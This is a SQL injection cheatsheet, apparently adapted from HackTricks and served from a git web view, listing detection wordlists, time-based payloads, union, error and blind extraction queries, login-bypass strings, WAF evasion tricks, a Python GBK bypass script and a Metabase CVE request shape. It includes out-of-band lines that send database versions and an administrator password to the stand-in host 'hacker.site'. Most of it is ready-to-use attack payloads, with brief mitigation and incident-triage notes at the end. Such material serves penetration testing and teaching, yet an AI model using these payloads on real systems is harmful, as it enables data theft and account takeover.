daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (33693B)


      1 ---
      2 title: "SQL Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/sql-injection/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SQL Injection
     14 
     15 ## What is SQL injection?
     16 
     17 An **SQL injection** is a security flaw that allows attackers to **interfere with an application's database queries**. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they should not access, including other users' information or any data available to the application. Such actions may permanently alter the application's functionality or content, compromise the server, or cause a denial of service.
     18 
     19 ## Entry point detection
     20 
     21 When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
     22 
     23 ```text
     24  [Nothing]
     25 '
     26 "
     27 `
     28 ')
     29 ")
     30 `)
     31 '))
     32 "))
     33 `))
     34 ```
     35 
     36 Then, you need to know how to **fix the query so there isn't errors**. In order to fix the query you can **input** data so the **previous query accept the new data**, or you can just **input** your data and **add a comment symbol add the end**.
     37 
     38 _Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
     39 
     40 ### **Comments**
     41 
     42 ```sql
     43 MySQL
     44 #comment
     45 -- comment     [Note the space after the double dash]
     46 /*comment*/
     47 /*! MYSQL Special SQL */
     48 
     49 PostgreSQL
     50 --comment
     51 /*comment*/
     52 
     53 MSQL
     54 --comment
     55 /*comment*/
     56 
     57 Oracle
     58 --comment
     59 
     60 SQLite
     61 --comment
     62 /*comment*/
     63 
     64 HQL
     65 HQL does not support comments
     66 ```
     67 
     68 ### Confirming with logical operations
     69 
     70 A reliable method to confirm an SQL injection vulnerability involves executing a **logical operation** and observing the expected outcomes. For instance, a GET parameter such as `?username=Peter` yielding identical content when modified to `?username=Peter' or '1'='1` indicates a SQL injection vulnerability.
     71 
     72 Similarly, the application of **mathematical operations** serves as an effective confirmation technique. For example, if accessing `?id=1` and `?id=2-1` produce the same result, it's indicative of SQL injection.
     73 
     74 Examples demonstrating logical operation confirmation:
     75 
     76 ```text
     77 page.asp?id=1 or 1=1 -- results in true
     78 page.asp?id=1' or 1=1 -- results in true
     79 page.asp?id=1" or 1=1 -- results in true
     80 page.asp?id=1 and 1=2 -- results in false
     81 ```
     82 
     83 This word-list was created to try to **confirm SQLinjections** in the proposed way:
     84 
     85 <details>
     86 <summary>True SQLi</summary>
     87 ```text
     88 true
     89 1
     90 1>0
     91 2-1
     92 0+1
     93 1*1
     94 1%2
     95 1 & 1
     96 1&1
     97 1 && 2
     98 1&&2
     99 -1 || 1
    100 -1||1
    101 -1 oR 1=1
    102 1 aND 1=1
    103 (1)oR(1=1)
    104 (1)aND(1=1)
    105 -1/**/oR/**/1=1
    106 1/**/aND/**/1=1
    107 1'
    108 1'>'0
    109 2'-'1
    110 0'+'1
    111 1'*'1
    112 1'%'2
    113 1'&'1'='1
    114 1'&&'2'='1
    115 -1'||'1'='1
    116 -1'oR'1'='1
    117 1'aND'1'='1
    118 1"
    119 1">"0
    120 2"-"1
    121 0"+"1
    122 1"*"1
    123 1"%"2
    124 1"&"1"="1
    125 1"&&"2"="1
    126 -1"||"1"="1
    127 -1"oR"1"="1
    128 1"aND"1"="1
    129 1`
    130 1`>`0
    131 2`-`1
    132 0`+`1
    133 1`*`1
    134 1`%`2
    135 1`&`1`=`1
    136 1`&&`2`=`1
    137 -1`||`1`=`1
    138 -1`oR`1`=`1
    139 1`aND`1`=`1
    140 1')>('0
    141 2')-('1
    142 0')+('1
    143 1')*('1
    144 1')%('2
    145 1')&'1'=('1
    146 1')&&'1'=('1
    147 -1')||'1'=('1
    148 -1')oR'1'=('1
    149 1')aND'1'=('1
    150 1")>("0
    151 2")-("1
    152 0")+("1
    153 1")*("1
    154 1")%("2
    155 1")&"1"=("1
    156 1")&&"1"=("1
    157 -1")||"1"=("1
    158 -1")oR"1"=("1
    159 1")aND"1"=("1
    160 1`)>(`0
    161 2`)-(`1
    162 0`)+(`1
    163 1`)*(`1
    164 1`)%(`2
    165 1`)&`1`=(`1
    166 1`)&&`1`=(`1
    167 -1`)||`1`=(`1
    168 -1`)oR`1`=(`1
    169 1`)aND`1`=(`1
    170 ```
    171 </details>
    172 
    173 ### Confirming with Timing
    174 
    175 In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\
    176 Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
    177 
    178 ```text
    179 MySQL (string concat and logical ops)
    180 1' + sleep(10)
    181 1' and sleep(10)
    182 1' && sleep(10)
    183 1' | sleep(10)
    184 
    185 PostgreSQL (only support string concat)
    186 1' || pg_sleep(10)
    187 
    188 MSQL
    189 1' WAITFOR DELAY '0:0:10'
    190 
    191 Oracle
    192 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
    193 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
    194 
    195 SQLite
    196 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
    197 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
    198 ```
    199 
    200 In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_.
    201 
    202 ### Identifying Back-end
    203 
    204 The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):<sup>[[1]](#references)</sup>
    205 
    206 ```bash
    207 ["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
    208 ["connection_id()=connection_id()"                 ,"MYSQL"],
    209 ["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
    210 ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
    211 ["@@CONNECTIONS>0"                                 ,"MSSQL"],
    212 ["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
    213 ["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
    214 ["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
    215 ["ROWNUM=ROWNUM"                                   ,"ORACLE"],
    216 ["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
    217 ["LNNVL(0=123)"                                    ,"ORACLE"],
    218 ["5::int=5"                                        ,"POSTGRESQL"],
    219 ["5::integer=5"                                    ,"POSTGRESQL"],
    220 ["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
    221 ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
    222 ["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
    223 ["current_database()=current_database()"           ,"POSTGRESQL"],
    224 ["sqlite_version()=sqlite_version()"               ,"SQLITE"],
    225 ["last_insert_rowid()>1"                           ,"SQLITE"],
    226 ["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
    227 ["val(cvar(1))=1"                                  ,"MSACCESS"],
    228 ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
    229 ["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
    230 ["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
    231 ["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
    232 ```
    233 
    234 Also, if you have access to the output of the query, you could make it **print the version of the database**.
    235 
    236 > [!TIP]
    237 > A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
    238 
    239 ### Identifying with PortSwigger
    240 
    241 
    242 [Cheat Sheet](https%3A//portswigger.net/web-security/sql-injection/cheat-sheet)
    243 
    244 ## Exploiting Union Based
    245 
    246 ### Detecting number of columns
    247 
    248 If you can see the output of the query this is the best way to exploit it.\
    249 First, determine the **number of columns** returned by the **original query**, because both sides of the `UNION` must return the same number.\
    250 Two methods are typically used for this purpose:
    251 
    252 #### Order/Group by
    253 
    254 To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
    255 
    256 ```sql
    257 1' ORDER BY 1--+    #True
    258 1' ORDER BY 2--+    #True
    259 1' ORDER BY 3--+    #True
    260 1' ORDER BY 4--+    #False - Query is only using 3 columns
    261                         #-1' UNION SELECT 1,2,3--+    True
    262 ```
    263 
    264 ```sql
    265 1' GROUP BY 1--+    #True
    266 1' GROUP BY 2--+    #True
    267 1' GROUP BY 3--+    #True
    268 1' GROUP BY 4--+    #False - Query is only using 3 columns
    269                         #-1' UNION SELECT 1,2,3--+    True
    270 ```
    271 
    272 #### UNION SELECT
    273 
    274 Select more and more null values until the query is correct:
    275 
    276 ```sql
    277 1' UNION SELECT null-- - Not working
    278 1' UNION SELECT null,null-- - Not working
    279 1' UNION SELECT null,null,null-- - Worked
    280 ```
    281 
    282 _You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
    283 
    284 ### Extract database names, table names and column names
    285 
    286 On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
    287 
    288 ```sql
    289 #Database names
    290 -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
    291 
    292 #Tables of a database
    293 -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
    294 
    295 #Column names
    296 -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
    297 ```
    298 
    299 _There is a different way to discover this data on every different database, but it's always the same methodology._
    300 
    301 ## Exploiting Hidden Union Based
    302 
    303 When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
    304 
    305 This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
    306 
    307 Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
    308 
    309 For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).<sup>[[2]](#references)</sup>
    310 
    311 ## Exploiting Error based
    312 
    313 If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
    314 Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
    315 
    316 ```sql
    317 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
    318 ```
    319 
    320 ## Exploiting Blind SQLi
    321 
    322 In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\
    323 In this case, you can abuse that behaviour to dump the database char by char:
    324 
    325 ```sql
    326 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
    327 ```
    328 
    329 ## Exploiting Error Blind SQLi
    330 
    331 This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
    332 
    333 ```sql
    334 AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
    335 ```
    336 
    337 ## Exploiting Time Based SQLi
    338 
    339 In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](#confirming-with-timing).
    340 
    341 ```sql
    342 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
    343 ```
    344 
    345 ## Stacked Queries
    346 
    347 You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
    348 
    349 **Oracle** doesn't support **stacked queries.** **MySQL, Microsoft** and **PostgreSQL** support them: `QUERY-1-HERE; QUERY-2-HERE`
    350 
    351 ## Out of band Exploitation
    352 
    353 If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries:
    354 
    355 ```sql
    356 select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
    357 ```
    358 
    359 ### Out of band data exfiltration via XXE
    360 
    361 ```sql
    362 a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
    363 ```
    364 
    365 ## Automated Exploitation
    366 
    367 Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
    368 
    369 ## Tech specific info
    370 
    371 The preceding sections cover generic SQL injection exploitation. The following pages contain additional DBMS-specific techniques:
    372 
    373 - [MS Access](/hacktricks/pentesting-web/sql-injection/ms-access-sql-injection)
    374 - [MSSQL](/hacktricks/pentesting-web/sql-injection/mssql-injection)
    375 - [MySQL](mysql-injection/index.html)
    376 - [Oracle](/hacktricks/pentesting-web/sql-injection/oracle-injection)
    377 - [PostgreSQL](postgresql-injection/index.html)
    378 
    379 Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)<sup>[[1]](#references)</sup>
    380 
    381 ## Authentication bypass
    382 
    383 List to try to bypass the login functionality:
    384 
    385 
    386 [Sql Login Bypass](/hacktricks/pentesting-web/login-bypass/sql-login-bypass)
    387 
    388 ### Raw hash authentication Bypass
    389 
    390 ```sql
    391 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
    392 ```
    393 
    394 This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access.
    395 
    396 ```sql
    397 md5("ffifdyop", true) = 'or'6�]��!r,��b�
    398 sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
    399 ```
    400 
    401 ### Injected hash authentication Bypass
    402 
    403 ```sql
    404 admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
    405 ```
    406 
    407 **Recommended list**:
    408 
    409 You should use as username each line of the list and as password always: _**Pass1234.**_\
    410 _(This payloads are also included in the big list mentioned at the beginning of this section)_
    411 
    412 [Sqli Hashbypass.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/sqli-hashbypass.txt)
    413 
    414 ### GBK Authentication Bypass
    415 
    416 IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_)
    417 
    418 ```sql
    419 %A8%27 OR 1=1;-- 2
    420 %8C%A8%27 OR 1=1-- 2
    421 %bf' or 1=1 -- --
    422 ```
    423 
    424 Python script:
    425 
    426 ```python
    427 import requests
    428 url = "http://example.com/index.php"
    429 cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
    430 data = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
    431 r = requests.post(url, data=data, cookies=cookies, headers={'referrer':url})
    432 print r.text
    433 ```
    434 
    435 ### Polyglot injection (multicontext)
    436 
    437 ```sql
    438 SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
    439 ```
    440 
    441 ## Insert Statement
    442 
    443 ### Modify password of existing object/user
    444 
    445 To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something:
    446 
    447 - Create user named: **AdMIn** (uppercase & lowercase letters)
    448 - Create a user named: **admin=**
    449 - **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
    450 
    451 #### SQL Truncation Attack
    452 
    453 If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
    454 
    455 The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
    456 
    457 More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)<sup>[[3]](#references)[[4]](#references)</sup>
    458 
    459 _Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)<sup>[[5]](#references)</sup>
    460 
    461 ### MySQL Insert time based checking
    462 
    463 Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
    464 
    465 ```sql
    466 name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
    467 ```
    468 
    469 ### ON DUPLICATE KEY UPDATE
    470 
    471 The `ON DUPLICATE KEY UPDATE` clause in MySQL is utilized to specify actions for the database to take when an attempt is made to insert a row that would result in a duplicate value in a UNIQUE index or PRIMARY KEY. The following example demonstrates how this feature can be exploited to modify the password of an administrator account:
    472 
    473 Example Payload Injection:
    474 
    475 An injection payload might be crafted as follows, where two rows are attempted to be inserted into the `users` table. The first row is a decoy, and the second row targets an existing administrator's email with the intention of updating the password:
    476 
    477 ```sql
    478 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
    479 ```
    480 
    481 Here's how it works:
    482 
    483 - The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
    484 - If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
    485 - Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
    486 
    487 ### Extract information
    488 
    489 #### Creating 2 accounts at the same time
    490 
    491 When trying to create a new user and username, password and email are needed:
    492 
    493 ```text
    494 SQLi payload:
    495 username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
    496 
    497 A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
    498 ```
    499 
    500 #### Using decimal or hexadecimal
    501 
    502 With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.
    503 
    504 Using **hex2dec** and **substr**:
    505 
    506 ```sql
    507 '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
    508 ```
    509 
    510 To get the text you can use:
    511 
    512 ```python
    513 __import__('binascii').unhexlify(hex(215573607263)[2:])
    514 ```
    515 
    516 Using **hex** and **replace** (and **substr**):
    517 
    518 ```sql
    519 '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
    520 
    521 '+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
    522 
    523 #Full ascii uppercase and lowercase replace:
    524 '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
    525 ```
    526 
    527 ## Routed SQL injection
    528 
    529 Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))<sup>[[6]](#references)</sup>
    530 
    531 Example:
    532 
    533 ```text
    534 #Hex of: -1' union select login,password from users-- a
    535 -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
    536 ```
    537 
    538 ## WAF Bypass
    539 
    540 [Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)<sup>[[7]](#references)</sup>
    541 
    542 ### No spaces bypass
    543 
    544 No Space (%20) - bypass using whitespace alternatives
    545 
    546 ```sql
    547 ?id=1%09and%091=1%09--
    548 ?id=1%0Dand%0D1=1%0D--
    549 ?id=1%0Cand%0C1=1%0C--
    550 ?id=1%0Band%0B1=1%0B--
    551 ?id=1%0Aand%0A1=1%0A--
    552 ?id=1%A0and%A01=1%A0--
    553 ```
    554 
    555 No Whitespace - bypass using comments
    556 
    557 ```sql
    558 ?id=1/*comment*/and/**/1=1/**/--
    559 ```
    560 
    561 No Whitespace - bypass using parenthesis
    562 
    563 ```sql
    564 ?id=(1)and(1)=(1)--
    565 ```
    566 
    567 ### No commas bypass
    568 
    569 No Comma - bypass using OFFSET, FROM and JOIN
    570 
    571 ```text
    572 LIMIT 0,1         -> LIMIT 1 OFFSET 0
    573 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
    574 SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
    575 ```
    576 
    577 ### Generic Bypasses
    578 
    579 Blacklist using keywords - bypass using uppercase/lowercase
    580 
    581 ```sql
    582 ?id=1 AND 1=1#
    583 ?id=1 AnD 1=1#
    584 ?id=1 aNd 1=1#
    585 ```
    586 
    587 Blacklist using keywords case insensitive - bypass using an equivalent operator
    588 
    589 ```text
    590 AND   -> && -> %26%26
    591 OR    -> || -> %7C%7C
    592 =     -> LIKE,REGEXP,RLIKE, not < and not >
    593 > X   -> not between 0 and X
    594 WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
    595 ```
    596 
    597 ### Scientific Notation WAF bypass
    598 
    599 You can find a more in-depth explanation of this trick in the [GoSecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).<sup>[[8]](#references)</sup>\
    600 Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
    601 
    602 ```text
    603 -1' or 1.e(1) or '1'='1
    604 -1' or 1337.1337e1 or '1'='1
    605 ' or 1.e('')=
    606 ```
    607 
    608 ### Bypass Column Names Restriction
    609 
    610 First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
    611 
    612 It’s possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
    613 
    614 ```bash
    615 # This is an example with 3 columns that will extract the column number 3
    616 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
    617 ```
    618 
    619 Or using a **comma bypass**:
    620 
    621 ```bash
    622 # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
    623 -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
    624 ```
    625 
    626 This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)<sup>[[9]](#references)</sup>
    627 
    628 ### Column/tablename injection in SELECT list via subqueries
    629 
    630 If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is:<sup>[[10]](#references)</sup>
    631 
    632 ```php
    633 // Pseudocode
    634 $fieldname = $_REQUEST['fieldname']; // attacker-controlled
    635 $tablename = $modInstance->table_name; // sometimes also attacker-influenced
    636 $q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
    637 $stmt = $db->pquery($q, [$rec_id]);
    638 ```
    639 
    640 Exploitation idea: inject a subquery into the field position to exfiltrate arbitrary data:
    641 
    642 ```sql
    643 -- Legit
    644 SELECT user_name FROM vte_users WHERE id=1;
    645 
    646 -- Injected subquery to extract a sensitive value (e.g., password reset token)
    647 SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
    648 ```
    649 
    650 Notes:
    651 - This works even when the WHERE clause uses a bound parameter, because the identifier list is still string-concatenated.
    652 - Some stacks additionally let you control the table name (tablename injection), enabling cross-table reads.
    653 - Output sinks may reflect the selected value into HTML/JSON, allowing XSS or token exfiltration directly from the response.
    654 
    655 Mitigations:
    656 - Never concatenate identifiers from user input. Map allowed column names to a fixed allow-list and quote identifiers properly.
    657 - If dynamic table access is required, restrict to a finite set and resolve server-side from a safe mapping.
    658 
    659 
    660 ### SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
    661 
    662 Some frameworks **convert structured filter ASTs into raw SQL boolean fragments** (e.g., metadata filters or JSON predicates) and then **string-concatenate** those fragments into larger queries. If the converter **wraps string values as `'%s'` without escaping**, a single quote in user input terminates the literal and the rest is parsed as SQL.<sup>[[11]](#references)</sup>
    663 
    664 Example pattern (conceptual):
    665 
    666 ```sql
    667 JSON_VALUE(metadata, '$.department') = '<user_value>'
    668 ```
    669 
    670 Payload (URL-encoded): `%27%20OR%20%271%27%3D%271` → decoded: `' OR '1'='1` → predicate becomes:
    671 
    672 ```sql
    673 JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
    674 ```
    675 
    676 ### Structured query-builder / raw-expression injection
    677 
    678 Parameterized values do not help when attacker input is interpreted as part of a **query-builder AST**. If an API field expected to be a scalar reaches the builder without strict type and shape validation, a JSON object or array can select a builder directive instead of becoming bound data. For example, HoneySQL's `:raw` expression renders its argument as literal SQL, while `:lift` is intended to keep a sequence or map as a parameter value.<sup>[[14]](#references)[[16]](#references)</sup>
    679 
    680 During testing, focus on the **data-to-query-syntax boundary**, not only quote characters. Replace scalar identifiers with objects/arrays, add undocumented keys, repeat the test across JSON and form encodings, and compare errors, timing, row counts, and generated-SQL traces. Classic string payloads may miss this class because the attacker injects a valid AST node rather than escaping from a quoted literal.<sup>[[14]](#references)[[16]](#references)</sup>
    681 
    682 CVE-2026-72898 is an example: affected Metabase password-reset handling accepted an unexpected structured `user-id` value that became a HoneySQL raw expression. The following is only the request shape—the exact SQL expression and generated query are adapter/version-specific:<sup>[[13]](#references)[[16]](#references)</sup>
    683 
    684 ```http
    685 POST /api/session/reset_password HTTP/1.1
    686 Host: metabase.example:3000
    687 Content-Type: application/json
    688 
    689 {
    690   "token": "<reset-token>",
    691   "user-id": {"raw": "<SQL expression>"},
    692   "password": "<new-password>"
    693 }
    694 ```
    695 
    696 When the sink is the application's own database, prioritize authentication state such as user IDs, password hashes/reset tokens, role or superuser flags, sessions, and API keys. Turning database write capability into an application administrator session can then expose legitimate query/export features and stored connection secrets; access to connected data sources inherits the privileges of the application's configured service accounts.<sup>[[13]](#references)[[15]](#references)[[16]](#references)</sup>
    697 
    698 For Metabase incident triage, the vendor identifies `POST /api/session/reset_password` returning `400` followed shortly by `GET /api/user/current` returning `200` as a likely-compromise sequence. Correlate it with object-valued `user-id` bodies, unexplained administrator or `core_user.is_superuser` changes, new API keys, session activity, and subsequent queries against connected databases.<sup>[[15]](#references)[[16]](#references)</sup>
    699 
